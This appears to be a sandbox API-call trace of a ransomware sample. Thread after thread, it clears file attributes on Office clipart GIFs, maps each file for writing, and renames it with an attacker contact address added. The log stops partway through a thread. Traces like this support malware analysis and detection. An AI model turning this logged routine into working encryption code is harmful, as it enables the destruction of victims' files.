	[0092.994] GetFileSizeEx (in: hFile=0x984, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=6701) returned 1
	[0092.994] CreateFileMappingA (hFile=0x984, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a39, lpName=0x0) returned 0x988
	[0092.995] MapViewOfFile (hFileMappingObject=0x988, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.998] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.998] CloseHandle (hObject=0x988) returned 1
	[0092.998] GetCurrentThreadId () returned 0x1748
	[0092.998] FlushFileBuffers (hFile=0x984) returned 1
	[0093.003] CloseHandle (hObject=0x984) returned 1
	[0093.003] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif") returned 155
	[0093.003] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00037_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00037_.gif")) returned 1
	[0093.004] free (_Block=0x51f3088) 
	[0093.004] RtlExitUserThread (Status=0x0) 

Thread:
	id = 433
	os_tid = 0x174c

	[0093.005] _alloca_probe () returned 0x40328a
	[0093.005] GetCurrentThreadId () returned 0x174c
	[0093.005] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif", dwFileAttributes=0x80) returned 1
	[0093.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00038_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984
	[0093.006] GetFileSizeEx (in: hFile=0x984, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=3257) returned 1
	[0093.006] CreateFileMappingA (hFile=0x984, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcc1, lpName=0x0) returned 0x98c
	[0093.006] MapViewOfFile (hFileMappingObject=0x98c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0093.007] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0093.007] CloseHandle (hObject=0x98c) returned 1
	[0093.007] GetCurrentThreadId () returned 0x174c
	[0093.007] FlushFileBuffers (hFile=0x984) returned 1
	[0093.009] CloseHandle (hObject=0x984) returned 1
	[0093.009] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif") returned 155
	[0093.009] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00038_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00038_.gif")) returned 1
	[0093.010] free (_Block=0x51f0070) 
	[0093.010] RtlExitUserThread (Status=0x0) 

Thread:
	id = 434
	os_tid = 0x1750

	[0093.011] _alloca_probe () returned 0x40328a
	[0093.012] GetCurrentThreadId () returned 0x1750
	[0093.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif", dwFileAttributes=0x80) returned 1
	[0093.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00040_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x98c
	[0093.012] GetFileSizeEx (in: hFile=0x98c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=8097) returned 1
	[0093.012] CreateFileMappingA (hFile=0x98c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1fa1, lpName=0x0) returned 0x994
	[0093.013] MapViewOfFile (hFileMappingObject=0x994, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.014] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.015] CloseHandle (hObject=0x994) returned 1
	[0093.015] GetCurrentThreadId () returned 0x1750
	[0093.015] FlushFileBuffers (hFile=0x98c) returned 1
	[0093.016] CloseHandle (hObject=0x98c) returned 1
	[0093.017] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif") returned 155
	[0093.017] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00040_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00040_.gif")) returned 1
	[0093.017] free (_Block=0x51f3088) 
	[0093.017] RtlExitUserThread (Status=0x0) 

Thread:
	id = 435
	os_tid = 0x1754

	[0093.019] _alloca_probe () returned 0x40328a
	[0093.019] GetCurrentThreadId () returned 0x1754
	[0093.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif", dwFileAttributes=0x80) returned 1
	[0093.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00052_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x994
	[0093.020] GetFileSizeEx (in: hFile=0x994, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=7701) returned 1
	[0093.020] CreateFileMappingA (hFile=0x994, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e19, lpName=0x0) returned 0x990
	[0093.020] MapViewOfFile (hFileMappingObject=0x990, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.022] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.022] CloseHandle (hObject=0x990) returned 1
	[0093.022] GetCurrentThreadId () returned 0x1754
	[0093.022] FlushFileBuffers (hFile=0x994) returned 1
	[0093.024] CloseHandle (hObject=0x994) returned 1
	[0093.025] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif") returned 155
	[0093.025] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00052_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00052_.gif")) returned 1
	[0093.025] free (_Block=0x51f1078) 
	[0093.025] RtlExitUserThread (Status=0x0) 

Thread:
	id = 436
	os_tid = 0x1758

	[0093.027] _alloca_probe () returned 0x40328a
	[0093.027] GetCurrentThreadId () returned 0x1758
	[0093.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif", dwFileAttributes=0x80) returned 1
	[0093.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00057_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x990
	[0093.028] GetFileSizeEx (in: hFile=0x990, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=11897) returned 1
	[0093.028] CreateFileMappingA (hFile=0x990, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e81, lpName=0x0) returned 0x99c
	[0093.028] MapViewOfFile (hFileMappingObject=0x99c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.031] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.031] CloseHandle (hObject=0x99c) returned 1
	[0093.031] GetCurrentThreadId () returned 0x1758
	[0093.031] FlushFileBuffers (hFile=0x990) returned 1
	[0093.032] CloseHandle (hObject=0x990) returned 1
	[0093.033] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif") returned 155
	[0093.033] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00057_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00057_.gif")) returned 1
	[0093.034] free (_Block=0x51f5098) 
	[0093.034] RtlExitUserThread (Status=0x0) 

Thread:
	id = 437
	os_tid = 0x175c

	[0093.035] _alloca_probe () returned 0x40328a
	[0093.036] GetCurrentThreadId () returned 0x175c
	[0093.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif", dwFileAttributes=0x80) returned 1
	[0093.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00090_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x99c
	[0093.036] GetFileSizeEx (in: hFile=0x99c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=529) returned 1
	[0093.036] CreateFileMappingA (hFile=0x99c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x211, lpName=0x0) returned 0x768
	[0093.036] MapViewOfFile (hFileMappingObject=0x768, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.037] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.037] CloseHandle (hObject=0x768) returned 1
	[0093.037] GetCurrentThreadId () returned 0x175c
	[0093.037] FlushFileBuffers (hFile=0x99c) returned 1
	[0093.039] CloseHandle (hObject=0x99c) returned 1
	[0093.039] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif") returned 155
	[0093.039] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00090_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00090_.gif")) returned 1
	[0093.040] free (_Block=0x51f1078) 
	[0093.040] RtlExitUserThread (Status=0x0) 

Thread:
	id = 438
	os_tid = 0x1760

	[0093.042] _alloca_probe () returned 0x40328a
	[0093.042] GetCurrentThreadId () returned 0x1760
	[0093.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif", dwFileAttributes=0x80) returned 1
	[0093.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00092_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x768
	[0093.042] GetFileSizeEx (in: hFile=0x768, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=517) returned 1
	[0093.042] CreateFileMappingA (hFile=0x768, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x209, lpName=0x0) returned 0x9a0
	[0093.043] MapViewOfFile (hFileMappingObject=0x9a0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.043] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.043] CloseHandle (hObject=0x9a0) returned 1
	[0093.044] GetCurrentThreadId () returned 0x1760
	[0093.044] FlushFileBuffers (hFile=0x768) returned 1
	[0093.051] CloseHandle (hObject=0x768) returned 1
	[0093.051] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif") returned 155
	[0093.052] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00092_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00092_.gif")) returned 1
	[0093.052] free (_Block=0x51f3088) 
	[0093.052] RtlExitUserThread (Status=0x0) 

Thread:
	id = 439
	os_tid = 0x1764

	[0093.049] _alloca_probe () returned 0x40328a
	[0093.050] GetCurrentThreadId () returned 0x1764
	[0093.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif", dwFileAttributes=0x80) returned 1
	[0093.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00103_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x998
	[0093.050] GetFileSizeEx (in: hFile=0x998, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=12725) returned 1
	[0093.050] CreateFileMappingA (hFile=0x998, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x31b9, lpName=0x0) returned 0x9a4
	[0093.050] MapViewOfFile (hFileMappingObject=0x9a4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0093.055] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0093.055] CloseHandle (hObject=0x9a4) returned 1
	[0093.055] GetCurrentThreadId () returned 0x1764
	[0093.056] FlushFileBuffers (hFile=0x998) returned 1
	[0093.057] CloseHandle (hObject=0x998) returned 1
	[0093.057] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif") returned 155
	[0093.058] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00103_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00103_.gif")) returned 1
	[0093.058] free (_Block=0x51f4090) 
	[0093.058] RtlExitUserThread (Status=0x0) 

Thread:
	id = 440
	os_tid = 0x1768

	[0093.060] _alloca_probe () returned 0x40328a
	[0093.061] GetCurrentThreadId () returned 0x1768
	[0093.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif", dwFileAttributes=0x80) returned 1
	[0093.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00120_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9a4
	[0093.061] GetFileSizeEx (in: hFile=0x9a4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3501) returned 1
	[0093.061] CreateFileMappingA (hFile=0x9a4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdb9, lpName=0x0) returned 0x768
	[0093.061] MapViewOfFile (hFileMappingObject=0x768, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.062] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.062] CloseHandle (hObject=0x768) returned 1
	[0093.063] GetCurrentThreadId () returned 0x1768
	[0093.063] FlushFileBuffers (hFile=0x9a4) returned 1
	[0093.064] CloseHandle (hObject=0x9a4) returned 1
	[0093.065] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif") returned 155
	[0093.065] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00120_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00120_.gif")) returned 1
	[0093.065] free (_Block=0x51f0070) 
	[0093.065] RtlExitUserThread (Status=0x0) 

Thread:
	id = 441
	os_tid = 0x176c

	[0093.067] _alloca_probe () returned 0x40328a
	[0093.067] GetCurrentThreadId () returned 0x176c
	[0093.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif", dwFileAttributes=0x80) returned 1
	[0093.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00126_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x768
	[0093.068] GetFileSizeEx (in: hFile=0x768, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3149) returned 1
	[0093.068] CreateFileMappingA (hFile=0x768, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc59, lpName=0x0) returned 0x8e8
	[0093.068] MapViewOfFile (hFileMappingObject=0x8e8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.069] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.070] CloseHandle (hObject=0x8e8) returned 1
	[0093.070] GetCurrentThreadId () returned 0x176c
	[0093.070] FlushFileBuffers (hFile=0x768) returned 1
	[0093.072] CloseHandle (hObject=0x768) returned 1
	[0093.072] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif") returned 155
	[0093.072] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00126_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00126_.gif")) returned 1
	[0093.073] free (_Block=0x51f5098) 
	[0093.073] RtlExitUserThread (Status=0x0) 

Thread:
	id = 442
	os_tid = 0x1770

	[0093.074] _alloca_probe () returned 0x40328a
	[0093.074] GetCurrentThreadId () returned 0x1770
	[0093.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif", dwFileAttributes=0x80) returned 1
	[0093.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00129_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e8
	[0093.075] GetFileSizeEx (in: hFile=0x8e8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=12485) returned 1
	[0093.075] CreateFileMappingA (hFile=0x8e8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x30c9, lpName=0x0) returned 0x83c
	[0093.075] MapViewOfFile (hFileMappingObject=0x83c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.078] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.078] CloseHandle (hObject=0x83c) returned 1
	[0093.078] GetCurrentThreadId () returned 0x1770
	[0093.078] FlushFileBuffers (hFile=0x8e8) returned 1
	[0093.080] CloseHandle (hObject=0x8e8) returned 1
